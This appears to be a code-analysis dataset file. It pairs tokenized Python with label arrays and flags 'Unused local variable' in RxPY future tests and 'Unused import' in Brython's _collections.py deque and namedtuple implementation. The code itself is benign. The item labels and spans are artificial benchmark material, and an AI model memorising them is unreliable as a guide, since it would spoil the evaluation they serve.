"\\u\\u\\uINDENT\\u\\u\\u ", " _", "item_", "=_", "strategy_", "._", "choose", "\\u", "item_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "item_", "in_", "self_", "._", "metric", "\\u", "cache_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "metric", "\\u", "cache_", "._", "pop_", "(_", "item_", ")_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused local variable
ReactiveX/RxPY/tests/test_observable/py3_fromfuture.py
[ { "content": " def test_future_success(self):\n loop = asyncio.get_event_loop()\n success = [False, True, False]\n\n @asyncio.coroutine\n def go():\n future = Future()\n future.set_result(42)\n\n source = Observable.from_future(future)\n\n def on_next(x):\n success[0] = 42 == x\n\n def on_error(err):\n success[1] = False\n\n def on_completed():\n success[2] = True\n\n subscription = source.subscribe(on_next, on_error, on_completed)\n\n loop.run_until_complete(go())\n assert(all(success))", "metadata": "root.TestFromFuture.test_future_success", "header": "['class', 'TestFromFuture', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 13 }, { "content": " def test_future_failure(self):\n loop = asyncio.get_event_loop()\n success = [True, False, True]\n\n @asyncio.coroutine\n def go():\n error = Exception('woops')\n\n future = Future()\n future.set_exception(error)\n\n source = Observable.from_future(future)\n\n def on_next(x):\n success[0] = False\n\n def on_error(err):\n success[1] = str(err) == str(error)\n\n def on_completed():\n success[2] = False\n\n subscription = source.subscribe(on_next, on_error, on_completed)\n\n loop.run_until_complete(go())\n assert(all(success))", "metadata": "root.TestFromFuture.test_future_failure", "header": "['class', 'TestFromFuture', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 38 } ]
[ { "span": "subscription ", "start_line": 33, "start_column": 12, "end_line": 33, "end_column": 24 }, { "span": "subscription ", "start_line": 60, "start_column": 12, "end_line": 60, "end_column": 24 } ]
[]
1
true
[ "[CLS]_", "Un", "used_", "local_", "variable_", "[SEP]_", "class_", "Test", "Fro", "m", "Future_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "test\\u", "future", "\\u", "success_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "loop_", "=_", "asyncio_", "._", "get", "\\u", "event", "\\u", "loop_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "success_", "=_", "[_", "False_", ",_", "True_", ",_", "False_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "@_", "asyncio_", "._", "coroutine_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "go_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "future_", "=_", "Future_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "future_", "._", "set\\u", "result_", "(_", "42_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "source_", "=_", "Observable_", "._", "from", "\\u", "future_", "(_", "future_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "on", "\\u", "next_", "(_", "x_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "success_", "[_", "0_", "]_", "=_", "42_", "==_", "x_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "on", "\\u", "error_", "(_", "err_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "success_", "[_", "1_", "]_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "on", "\\u", "completed_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "success_", "[_", "2_", "]_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "subscription_", "=_", "source_", "._", "subscribe_", "(_", "on", "\\u", "next_", ",_", "on", "\\u", "error_", ",_", "on", "\\u", "completed_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "loop_", "._", "run", "\\u", "unti", "l\\u", "complete_", "(_", "go_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "(_", "all_", "(_", "success_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Fro", "m", "Future_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "future", "\\u", "failure_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "loop_", "=_", "asyncio_", "._", "get", "\\u", "event", "\\u", "loop_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "success_", "=_", "[_", "True_", ",_", "False_", ",_", "True_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "@_", "asyncio_", "._", "coroutine_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "go_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "error_", "=_", "Exception_", "(_", "'", "woo", "ps", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "future_", "=_", "Future_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "future_", "._", "set\\u", "exception_", "(_", "error_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "source_", "=_", "Observable_", "._", "from", "\\u", "future_", "(_", "future_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "on", "\\u", "next_", "(_", "x_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "success_", "[_", "0_", "]_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "on", "\\u", "error_", "(_", "err_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "success_", "[_", "1_", "]_", "=_", "str_", "(_", "err_", ")_", "==_", "str_", "(_", "error_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "on", "\\u", "completed_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "success_", "[_", "2_", "]_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "subscription_", "=_", "source_", "._", "subscribe_", "(_", "on", "\\u", "next_", ",_", "on", "\\u", "error_", ",_", "on", "\\u", "completed_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "loop_", "._", "run", "\\u", "unti", "l\\u", "complete_", "(_", "go_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "(_", "all_", "(_", "success_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 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 ]
Unused import
amrdraz/kodr/app/brython/www/src/Lib/_collections.py
[ { "content": "# \"High performance data structures\n# \"\n# copied from pypy repo\n\n#\n# Copied and completed from the sandbox of CPython\n# (nondist/sandbox/collections/pydeque.py rev 1.1, Raymond Hettinger)\n#\n# edited for Brython line 558 : catch ImportError instead of AttributeError\n\nimport operator\n#try:\n# from thread import get_ident as _thread_ident\n#except ImportError:\n\n\nn = 30\nLFTLNK = n\nRGTLNK = n+1\nBLOCKSIZ = n+2\n\n# The deque's size limit is d.maxlen. The limit can be zero or positive, or\n# None. After an item is added to a deque, we check to see if the size has\n# grown past the limit. If it has, we get the size back down to the limit by\n# popping an item off of the opposite end. The methods that can trigger this\n# are append(), appendleft(), extend(), and extendleft().\n\n#class deque(object):\n\n\n\n\nfrom operator import itemgetter as _itemgetter\nfrom keyword import iskeyword as _iskeyword\nimport sys as _sys\n\n\nif __name__ == '__main__':\n Point = namedtuple('Point', ['x', 'y'])\n p = Point(11, y=22)\n print(p[0]+p[1])\n x,y=p\n print(x,y)\n print(p.x+p.y)\n print(p)\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "def _thread_ident():\n return -1", "metadata": "root._thread_ident", "header": "['module', '___EOS___']", "index": 14 }, { "content": "class deque:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n # XXX make comparison more efficient\n\n\n\n\n\n", "metadata": "root.deque", "header": "['module', '___EOS___']", "index": 30 }, { "content": " def __new__(cls, iterable=(), *args, **kw):\n #fixme\n #self = super(deque, cls).__new__(cls, *args, **kw)\n self=object.__new__(cls, *args, **kw)\n self.clear()\n return self", "metadata": "root.deque.__new__", "header": "['class', 'deque', ':', '___EOS___']", "index": 32 }, { "content": " def __init__(self, iterable=(), maxlen=None):\n object.__init__(self)\n self.clear()\n if maxlen is not None:\n if maxlen < 0:\n raise ValueError(\"maxlen must be non-negative\")\n self._maxlen = maxlen\n add = self.append\n for elem in iterable:\n add(elem)", "metadata": "root.deque.__init__", "header": "['class', 'deque', ':', '___EOS___']", "index": 39 }, { "content": " @property\n def maxlen(self):\n return self._maxlen", "metadata": "root.deque.maxlen", "header": "['class', 'deque', ':', '___EOS___']", "index": 50 }, { "content": " def clear(self):\n self.right = self.left = [None] * BLOCKSIZ\n self.rightndx = n//2 # points to last written element\n self.leftndx = n//2+1\n self.length = 0\n self.state = 0", "metadata": "root.deque.clear", "header": "['class', 'deque', ':', '___EOS___']", "index": 54 }, { "content": " def append(self, x):\n self.state += 1\n self.rightndx += 1\n if self.rightndx == n:\n newblock = [None] * BLOCKSIZ\n self.right[RGTLNK] = newblock\n newblock[LFTLNK] = self.right\n self.right = newblock\n self.rightndx = 0\n self.length += 1\n self.right[self.rightndx] = x\n if self.maxlen is not None and self.length > self.maxlen:\n self.popleft()", "metadata": "root.deque.append", "header": "['class', 'deque', ':', '___EOS___']", "index": 61 }, { "content": " def appendleft(self, x):\n self.state += 1\n self.leftndx -= 1\n if self.leftndx == -1:\n newblock = [None] * BLOCKSIZ\n self.left[LFTLNK] = newblock\n newblock[RGTLNK] = self.left\n self.left = newblock\n self.leftndx = n-1\n self.length += 1\n self.left[self.leftndx] = x\n if self.maxlen is not None and self.length > self.maxlen:\n self.pop()", "metadata": "root.deque.appendleft", "header": "['class', 'deque', ':', '___EOS___']", "index": 75 }, { "content": " def extend(self, iterable):\n if iterable is self:\n iterable = list(iterable)\n for elem in iterable:\n self.append(elem)", "metadata": "root.deque.extend", "header": "['class', 'deque', ':', '___EOS___']", "index": 89 }, { "content": " def extendleft(self, iterable):\n if iterable is self:\n iterable = list(iterable)\n for elem in iterable:\n self.appendleft(elem)", "metadata": "root.deque.extendleft", "header": "['class', 'deque', ':', '___EOS___']", "index": 95 }, { "content": " def pop(self):\n if self.left is self.right and self.leftndx > self.rightndx:\n #raise IndexError, \"pop from an empty deque\" # does not work in brython\n raise IndexError(\"pop from an empty deque\")\n x = self.right[self.rightndx]\n self.right[self.rightndx] = None\n self.length -= 1\n self.rightndx -= 1\n self.state += 1\n if self.rightndx == -1:\n prevblock = self.right[LFTLNK]\n if prevblock is None:\n # the deque has become empty; recenter instead of freeing block\n self.rightndx = n//2\n self.leftndx = n//2+1\n else:\n prevblock[RGTLNK] = None\n self.right[LFTLNK] = None\n self.right = prevblock\n self.rightndx = n-1\n return x", "metadata": "root.deque.pop", "header": "['class', 'deque', ':', '___EOS___']", "index": 101 }, { "content": " def popleft(self):\n if self.left is self.right and self.leftndx > self.rightndx:\n #raise IndexError, \"pop from an empty deque\"\n raise IndexError(\"pop from an empty deque\")\n x = self.left[self.leftndx]\n self.left[self.leftndx] = None\n self.length -= 1\n self.leftndx += 1\n self.state += 1\n if self.leftndx == n:\n prevblock = self.left[RGTLNK]\n if prevblock is None:\n # the deque has become empty; recenter instead of freeing block\n self.rightndx = n//2\n self.leftndx = n//2+1\n else:\n prevblock[LFTLNK] = None\n self.left[RGTLNK] = None\n self.left = prevblock\n self.leftndx = 0\n return x", "metadata": "root.deque.popleft", "header": "['class', 'deque', ':', '___EOS___']", "index": 123 }, { "content": " def count(self, value):\n c = 0\n for item in self:\n if item == value:\n c += 1\n return c", "metadata": "root.deque.count", "header": "['class', 'deque', ':', '___EOS___']", "index": 145 }, { "content": " def remove(self, value):\n # Need to be defensive for mutating comparisons\n for i in range(len(self)):\n if self[i] == value:\n del self[i]\n return\n raise ValueError(\"deque.remove(x): x not in deque\")", "metadata": "root.deque.remove", "header": "['class', 'deque', ':', '___EOS___']", "index": 152 }, { "content": " def rotate(self, n=1):\n length = len(self)\n if length == 0:\n return\n halflen = (length+1) >> 1\n if n > halflen or n < -halflen:\n n %= length\n if n > halflen:\n n -= length\n elif n < -halflen:\n n += length\n while n > 0:\n self.appendleft(self.pop())\n n -= 1\n while n < 0:\n self.append(self.popleft())\n n += 1", "metadata": "root.deque.rotate", "header": "['class', 'deque', ':', '___EOS___']", "index": 160 }, { "content": " def reverse(self):\n \"reverse *IN PLACE*\"\n leftblock = self.left\n rightblock = self.right\n leftindex = self.leftndx\n rightindex = self.rightndx\n for i in range(self.length // 2):\n # Validate that pointers haven't met in the middle\n assert leftblock != rightblock or leftindex < rightindex\n\n # Swap\n (rightblock[rightindex], leftblock[leftindex]) = (\n leftblock[leftindex], rightblock[rightindex])\n\n # Advance left block/index pair\n leftindex += 1\n if leftindex == n:\n leftblock = leftblock[RGTLNK]\n assert leftblock is not None\n leftindex = 0\n\n # Step backwards with the right block/index pair\n rightindex -= 1\n if rightindex == -1:\n rightblock = rightblock[LFTLNK]\n assert rightblock is not None\n rightindex = n - 1", "metadata": "root.deque.reverse", "header": "['class', 'deque', ':', '___EOS___']", "index": 178 }, { "content": " def __repr__(self):\n threadlocalattr = '__repr' + str(_thread_ident())\n if threadlocalattr in self.__dict__:\n return 'deque([...])'\n else:\n self.__dict__[threadlocalattr] = True\n try:\n if self.maxlen is not None:\n return 'deque(%r, maxlen=%s)' % (list(self), self.maxlen)\n else:\n return 'deque(%r)' % (list(self),)\n finally:\n del self.__dict__[threadlocalattr]", "metadata": "root.deque.__repr__", "header": "['class', 'deque', ':', '___EOS___']", "index": 206 }, { "content": " def __iter__(self):\n return deque_iterator(self, self._iter_impl)", "metadata": "root.deque.__iter__", "header": "['class', 'deque', ':', '___EOS___']", "index": 220 }, { "content": " def _iter_impl(self, original_state, giveup):\n if self.state != original_state:\n giveup()\n block = self.left\n while block:\n l, r = 0, n\n if block is self.left:\n l = self.leftndx\n if block is self.right:\n r = self.rightndx + 1\n for elem in block[l:r]:\n yield elem\n if self.state != original_state:\n giveup()\n block = block[RGTLNK]", "metadata": "root.deque._iter_impl", "header": "['class', 'deque', ':', '___EOS___']", "index": 223 }, { "content": " def __reversed__(self):\n return deque_iterator(self, self._reversed_impl)", "metadata": "root.deque.__reversed__", "header": "['class', 'deque', ':', '___EOS___']", "index": 239 }, { "content": " def _reversed_impl(self, original_state, giveup):\n if self.state != original_state:\n giveup()\n block = self.right\n while block:\n l, r = 0, n\n if block is self.left:\n l = self.leftndx\n if block is self.right:\n r = self.rightndx + 1\n for elem in reversed(block[l:r]):\n yield elem\n if self.state != original_state:\n giveup()\n block = block[LFTLNK]", "metadata": "root.deque._reversed_impl", "header": "['class', 'deque', ':', '___EOS___']", "index": 242 }, { "content": " def __len__(self):\n #sum = 0\n #block = self.left\n #while block:\n # sum += n\n # block = block[RGTLNK]\n #return sum + self.rightndx - self.leftndx + 1 - n\n return self.length", "metadata": "root.deque.__len__", "header": "['class', 'deque', ':', '___EOS___']", "index": 258 }, { "content": " def __getref(self, index):\n if index >= 0:\n block = self.left\n while block:\n l, r = 0, n\n if block is self.left:\n l = self.leftndx\n if block is self.right:\n r = self.rightndx + 1\n span = r-l\n if index < span:\n return block, l+index\n index -= span\n block = block[RGTLNK]\n else:\n block = self.right\n while block:\n l, r = 0, n\n if block is self.left:\n l = self.leftndx\n if block is self.right:\n r = self.rightndx + 1\n negative_span = l-r\n if index >= negative_span:\n return block, r+index\n index -= negative_span\n block = block[LFTLNK]\n raise IndexError(\"deque index out of range\")", "metadata": "root.deque.__getref", "header": "['class', 'deque', ':', '___EOS___']", "index": 267 }, { "content": " def __getitem__(self, index):\n block, index = self.__getref(index)\n return block[index]", "metadata": "root.deque.__getitem__", "header": "['class', 'deque', ':', '___EOS___']", "index": 296 }, { "content": " def __setitem__(self, index, value):\n block, index = self.__getref(index)\n block[index] = value", "metadata": "root.deque.__setitem__", "header": "['class', 'deque', ':', '___EOS___']", "index": 300 }, { "content": " def __delitem__(self, index):\n length = len(self)\n if index >= 0:\n if index >= length:\n raise IndexError(\"deque index out of range\")\n self.rotate(-index)\n self.popleft()\n self.rotate(index)\n else:\n #index = ~index #todo until bit wise operators are in bython\n index= index^(2**31)\n if index >= length:\n raise IndexError(\"deque index out of range\")\n self.rotate(index)\n self.pop()\n self.rotate(-index)", "metadata": "root.deque.__delitem__", "header": "['class', 'deque', ':', '___EOS___']", "index": 304 }, { "content": " def __reduce_ex__(self, proto):\n return type(self), (list(self), self.maxlen)", "metadata": "root.deque.__reduce_ex__", "header": "['class', 'deque', ':', '___EOS___']", "index": 321 }, { "content": " def __hash__(self):\n #raise TypeError, \"deque objects are unhashable\"\n raise TypeError(\"deque objects are unhashable\")", "metadata": "root.deque.__hash__", "header": "['class', 'deque', ':', '___EOS___']", "index": 324 }, { "content": " def __copy__(self):\n return self.__class__(self, self.maxlen)", "metadata": "root.deque.__copy__", "header": "['class', 'deque', ':', '___EOS___']", "index": 328 }, { "content": " def __eq__(self, other):\n if isinstance(other, deque):\n return list(self) == list(other)\n else:\n return NotImplemented", "metadata": "root.deque.__eq__", "header": "['class', 'deque', ':', '___EOS___']", "index": 332 }, { "content": " def __ne__(self, other):\n if isinstance(other, deque):\n return list(self) != list(other)\n else:\n return NotImplemented", "metadata": "root.deque.__ne__", "header": "['class', 'deque', ':', '___EOS___']", "index": 338 }, { "content": " def __lt__(self, other):\n if isinstance(other, deque):\n return list(self) < list(other)\n else:\n return NotImplemented", "metadata": "root.deque.__lt__", "header": "['class', 'deque', ':', '___EOS___']", "index": 344 }, { "content": " def __le__(self, other):\n if isinstance(other, deque):\n return list(self) <= list(other)\n else:\n return NotImplemented", "metadata": "root.deque.__le__", "header": "['class', 'deque', ':', '___EOS___']", "index": 350 }, { "content": " def __gt__(self, other):\n if isinstance(other, deque):\n return list(self) > list(other)\n else:\n return NotImplemented", "metadata": "root.deque.__gt__", "header": "['class', 'deque', ':', '___EOS___']", "index": 356 }, { "content": " def __ge__(self, other):\n if isinstance(other, deque):\n return list(self) >= list(other)\n else:\n return NotImplemented", "metadata": "root.deque.__ge__", "header": "['class', 'deque', ':', '___EOS___']", "index": 362 }, { "content": " def __iadd__(self, other):\n self.extend(other)\n return self", "metadata": "root.deque.__iadd__", "header": "['class', 'deque', ':', '___EOS___']", "index": 368 }, { "content": "class deque_iterator(object):\n\n\n", "metadata": "root.deque_iterator", "header": "['module', '___EOS___']", "index": 373 }, { "content": " def __init__(self, deq, itergen):\n self.counter = len(deq)\n def giveup():\n self.counter = 0\n #raise RuntimeError, \"deque mutated during iteration\"\n raise RuntimeError(\"deque mutated during iteration\")\n self._gen = itergen(deq.state, giveup)", "metadata": "root.deque_iterator.__init__", "header": "['class', 'deque_iterator', '(', 'object', ')', ':', '___EOS___']", "index": 375 }, { "content": " def next(self):\n res = self._gen.next()\n self.counter -= 1\n return res", "metadata": "root.deque_iterator.next", "header": "['class', 'deque_iterator', '(', 'object', ')', ':', '___EOS___']", "index": 383 }, { "content": " def __iter__(self):\n return self", "metadata": "root.deque_iterator.__iter__", "header": "['class', 'deque_iterator', '(', 'object', ')', ':', '___EOS___']", "index": 388 }, { "content": "class defaultdict(dict):\n \n\n #fixme.. had to add this function to get defaultdict working with brython correctly\n #def __getitem__(self, key):\n # if self.__contains__(key): \n # return dict.__getitem__(self,key)\n #\n # return self.__missing__(key)\n\n\n\n \n", "metadata": "root.defaultdict", "header": "['module', '___EOS___']", "index": 391 }, { "content": " def __init__(self, *args, **kwds):\n if len(args) > 0:\n default_factory = args[0]\n args = args[1:]\n if not callable(default_factory) and default_factory is not None:\n raise TypeError(\"first argument must be callable\")\n else:\n default_factory = None\n dict.__init__(self, args, kwds)\n self.default_factory = default_factory\n self.update(args, kwds)\n super(defaultdict, self).__init__(*args, **kwds)", "metadata": "root.defaultdict.__init__", "header": "['class', 'defaultdict', '(', 'dict', ')', ':', '___EOS___']", "index": 393 }, { "content": " def __missing__(self, key):\n # from defaultdict docs\n if self.default_factory is None: \n raise KeyError(key)\n self[key] = value = self.default_factory()\n return value", "metadata": "root.defaultdict.__missing__", "header": "['class', 'defaultdict', '(', 'dict', ')', ':', '___EOS___']", "index": 413 }, { "content": " def __repr__(self, recurse=set()):\n if id(self) in recurse:\n return \"defaultdict(...)\"\n try:\n recurse.add(id(self))\n return \"defaultdict(%s, %s)\" % (repr(self.default_factory), super(defaultdict, self).__repr__())\n finally:\n recurse.remove(id(self))", "metadata": "root.defaultdict.__repr__", "header": "['class', 'defaultdict', '(', 'dict', ')', ':', '___EOS___']", "index": 420 }, { "content": " def copy(self):\n return type(self)(self.default_factory, self)", "metadata": "root.defaultdict.copy", "header": "['class', 'defaultdict', '(', 'dict', ')', ':', '___EOS___']", "index": 429 }, { "content": " def __copy__(self):\n return self.copy()", "metadata": "root.defaultdict.__copy__", "header": "['class', 'defaultdict', '(', 'dict', ')', ':', '___EOS___']", "index": 432 }, { "content": " def __reduce__(self):\n #\n #__reduce__ must return a 5-tuple as follows:\n #\n # - factory function\n # - tuple of args for the factory function\n # - additional state (here None)\n # - sequence iterator (here None)\n # - dictionary iterator (yielding successive (key, value) pairs\n\n # This API is used by pickle.py and copy.py.\n #\n return (type(self), (self.default_factory,), None, None, self.items())", "metadata": "root.defaultdict.__reduce__", "header": "['class', 'defaultdict', '(', 'dict', ')', ':', '___EOS___']", "index": 435 }, { "content": "def namedtuple(typename, field_names, verbose=False, rename=False):\n \"\"\"Returns a new subclass of tuple with named fields.\n\n >>> Point = namedtuple('Point', 'x y')\n >>> Point.__doc__ # docstring for the new class\n 'Point(x, y)'\n >>> p = Point(11, y=22) # instantiate with positional args or keywords\n >>> p[0] + p[1] # indexable like a plain tuple\n 33\n >>> x, y = p # unpack like a regular tuple\n >>> x, y\n (11, 22)\n >>> p.x + p.y # fields also accessable by name\n 33\n >>> d = p._asdict() # convert to a dictionary\n >>> d['x']\n 11\n >>> Point(**d) # convert from a dictionary\n Point(x=11, y=22)\n >>> p._replace(x=100) # _replace() is like str.replace() but targets named fields\n Point(x=100, y=22)\n\n \"\"\"\n\n # Parse and validate the field names. Validation serves two purposes,\n # generating informative error messages and preventing template injection attacks.\n if isinstance(field_names, str):\n field_names = field_names.replace(',', ' ').split() # names separated by whitespace and/or commas\n field_names = tuple(map(str, field_names))\n if rename:\n names = list(field_names)\n seen = set()\n for i, name in enumerate(names):\n if (not min(c.isalnum() or c=='_' for c in name) or _iskeyword(name)\n or not name or name[0].isdigit() or name.startswith('_')\n or name in seen):\n names[i] = '_%d' % i\n seen.add(name)\n field_names = tuple(names)\n for name in (typename,) + field_names:\n if not min(c.isalnum() or c=='_' for c in name):\n raise ValueError('Type names and field names can only contain alphanumeric characters and underscores: %r' % name)\n if _iskeyword(name):\n raise ValueError('Type names and field names cannot be a keyword: %r' % name)\n if name[0].isdigit():\n raise ValueError('Type names and field names cannot start with a number: %r' % name)\n seen_names = set()\n for name in field_names:\n if name.startswith('_') and not rename:\n raise ValueError('Field names cannot start with an underscore: %r' % name)\n if name in seen_names:\n raise ValueError('Encountered duplicate field name: %r' % name)\n seen_names.add(name)\n\n # Create and fill-in the class template\n numfields = len(field_names)\n argtxt = repr(field_names).replace(\"'\", \"\")[1:-1] # tuple repr without parens or quotes\n reprtxt = ', '.join('%s=%%r' % name for name in field_names)\n\n template = '''class %(typename)s(tuple):\n '%(typename)s(%(argtxt)s)' \\n\n __slots__ = () \\n\n _fields = %(field_names)r \\n\n def __new__(_cls, %(argtxt)s):\n return tuple.__new__(_cls, (%(argtxt)s)) \\n\n @classmethod\n def _make(cls, iterable, new=tuple.__new__, len=len):\n 'Make a new %(typename)s object from a sequence or iterable'\n result = new(cls, iterable)\n if len(result) != %(numfields)d:\n raise TypeError('Expected %(numfields)d arguments, got %%d' %% len(result))\n return result \\n\n def __repr__(self):\n return '%(typename)s(%(reprtxt)s)' %% self \\n\n def _asdict(self):\n 'Return a new dict which maps field names to their values'\n return dict(zip(self._fields, self)) \\n\n def _replace(_self, **kwds):\n 'Return a new %(typename)s object replacing specified fields with new values'\n 